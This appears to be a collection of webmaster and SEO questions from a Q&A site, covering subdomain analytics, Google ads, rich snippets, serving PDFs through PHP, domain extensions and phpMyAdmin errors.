I have a web site running under `www`. Recently, we added some functionality that had different hosting requirements, so we added a `ww2` hostname. Is there any way to combine both hosts into one dashboard? There is different content running on the two servers, so I can't use the canonical link functionality. A typical session would have someone follow a link from `www` -> `ww2` -> `www`.


The fastest way to get to Google paid ads

Here's my question, it happened that we need to promote a website asap. it is a low competition local keyword. We want to be able to put it on paid ads (the coloured rectangle #1 in this image) http://www.aimadvantage.com/graphics/google-top-10.jpg I know NOTHING about this kind of things. I just know that it can take several months before seeing results. I thought that paid advertising can make it quicker. Is it true? I do not know whether it helps, but the exact keyword in keyword tool says nothing, but similar keyword says: > global monthly search: 880   >  Local monthly search: 720   >  Competition: high Your advise is appreciated!


How do I determine how many of my webpages rank on 1st page of Google, and for what terms?

How do I find out how many pages of a website ranks on the first page of Google? And for what terms? I mean, if the website has 100 webpages, I want to know:   * How many pages rank on first page (shown on first page of Google)   * Which specific keyword they rank.


import.php parameter missing?

Whenever I try to delete or update any of my tables in phpMyAdmin I receive the following error:               1.import.php: Missing parameter: import_type.               2.tbl-alter.php missing parameters:field      I have looked at the php.ini config file and changed the following settings:               session.save_path ="c:/xampp/tmp" to session.save_path ="C:/xampp/session/data"      Why is phpMyAdmin not letting me delete or update any of the tables within the database?


I need articles to use in a commercial project, what open content licenses will work?

I'm designing some web templates, and I need to add some sample content in them, like articles and stuff. I was wondering where can I find such sample articles to include in the template demo? I don't want to use the usual Lorem Ipsum thing :) The templates would be sold commercially, so I assume the I'll need to use only content that has a license which grants you the right to use it commercially. I'm thinking that GPL licensed content could be appropriate. I thought of uncyclopedia but it's under creative commons which apparently lets you use their content only if you are using it for non-commercial purposes.


Which among exact, phrase and broad justify my given keyword ? I am using google keyword tool

I am using google keyword tool, now I want to know, when I type back office in mumbai, without any quotes, which of these would represent that. [back office jobs in mumbai] - exact "back office jobs in mumbai" - phrase back office jobs in mumbai - broad.


What is the benefit of the "download will begin shortly" page?

I've noticed many websites that host files for downloads have an interstitial page between the download link/button and the actual start of the download. Terminology on the page may include "Your download will begin shortly. If it does not, try this direct link". What is the purpose of this page? It seems to draw away from the general experience of downloading a file. Is this beneficial for bookmarking? Less experienced users? Analytics?


SEO consideration for downloadable files

I used to serve PDF files as static file:               http://domain.com/pdf/file1.pdf      and PDF files perfectly indexed by Google and other search engines. Then I decided to change my structure to place pdf files outside public folder, and then make them downloadable through PHP as               http://domain.com/pdf.php?id=1      The PDF files with the new structure have not been indexed by search engines. From SEO point of view, is it better to serve PDF files as static files, rather than making them downloadable through a PHP script? The script looks like               header('Content-Description: File Transfer');     header('Content-Type: application/octet-stream');     header('Content-Disposition: attachment; filename="'.$filename.'"');     header('Content-Transfer-Encoding: binary');     header('Expires: 0');     header('Cache-Control: must-revalidate');     header('Pragma: public');     header('Content-Length: ' . filesize($file));     ob_clean();     flush();     readfile($file);     exit;


Google Rich Snippets indexing fall

To 12th November 2013 there were about 3000 pages with structured data indexed for our site according to Google Webmaster Tools. There were stars and all related information in search results. But after the 12th, a sharp drop began in indexing and at this moment we are seeing that only 54 pages will display stars in search results and this is true. We can't understand why it happened. Here are some facts that maybe useful:   1. On November 1st we have moved our site from http to https and added 301 redirects from http to https pages.   2. On November 25th we have broken some structured data markup but fixed it on December 2nd.   3. We have made a request to Google Support about Rich Snippets and they said that markup is valid: > Thank you for your interest in rich snippets for your site. > > We have now reviewed your site and found that your usage of structured data > markup meets our guidelines and is eligible to have rich snippets shown in > our search results. > > Regards, The Google Team for Rich Snippets   4. There are still some old links with http schema exist in Google Search results with stars (e.g. https://www.google.com.ua/search?q=East+Meets+West+Yoga+-+Williamsville).   5. We tried to change pages' meta descriptions and Google re-indexed them. But structured data still don't appear.  **Here is Structured Data index status chart:** ![Google Structured Data chart](http://i.stack.imgur.com/JAspd.png) **Here are some links:** https://www.wellnessliving.com/ms/bikeorbar/review/ https://www.wellnessliving.com/ms/body__brain_yoga_clark/review/ https://www.wellnessliving.com/ms/dahn_yoga_center_libertyville/review/ https://www.wellnessliving.com/ms/sacred_sounds_yoga/review/ Two weeks passed but nothing changed. Please, help :).


What are the implications of one site having thousands of links to yours?

Using Webmaster I can see the home page of a related site has 100,000 + links to my site. I assume this is because there are tons of pages on this site and a link to our site is in the footer. My question is how does Google treat this? Surely this must be quite common for huge sites, but does Google see this as suspicious? Do they rank each link or consider the site as a whole and only rank a single link?


Lightweight online opensource css editor - php

I'm looking for an online **opensource** editor for **css files**. It should have **syntax highlighting**. Also it should be **easily integratable** within php code. **Edit:** I need something like `textarea` that highlights my css code. And i want to add it to my website so i can change my css from everyplace.


Different web domains SEO and PageRank

Which are differences between buying domains such as:   * `.me`   * `.be`   * `.li`   * `.cn.com`   * `.ar.com`   * `.eu.com`   * `.com` In terms of SEO and page ranking? What's the main differences between `mysite.com` and `mysite.be` or `mysite.ar.com`? If I buy `site.com` and other person buy `site.me` are there any advantages of owning `.com` domain?


SEO subdomain as root domain

I'm wondering: suppose I have a website for chicken restaurant and my domain is `chicken.com`, shouldn't be better to have main site on `restaurant.chicken.com` as primary domain (root domain) in terms of SEO and PageRank?


Can I benefit from links to pages on my site which have a `noindex` meta tag?

I'm trying to understand if/how I can benefit from people linking to pages on my site which are with pages that have a `noindex` meta tag. 2 actions I'm considering to perform:   * Remove the robots.txt disallow to these pages, to make sure inner links get the propagated link juice.   * Adding a canonical tag to the most similar page that doesn't have a `noindex` meta tag Are these valid approaches that might help? Any others I should consider?


Google Structured Data Testing Tool - organization error seems to contradict their guidlines

Google Structured Data Testing Tool is giving this error: > Error: This information will not appear as a rich snippet in search results, > because it seems to describe an organization. Google does not currently > display organization information in rich snippets Yet the warning links to this page: Rich snippets - Organizations where it says: > Organization information (for example, details about a business such as a > restaurant or attraction) that is marked up in the body of a web page can > help Google understand location information in reviews or events. It can > also be displayed on a Place Page—a web page that organizes all relevant > information about a place So in the error message Google is saying they don't support Organizations, but then on the help page they seem to be saying they do support it? Am I missing something here?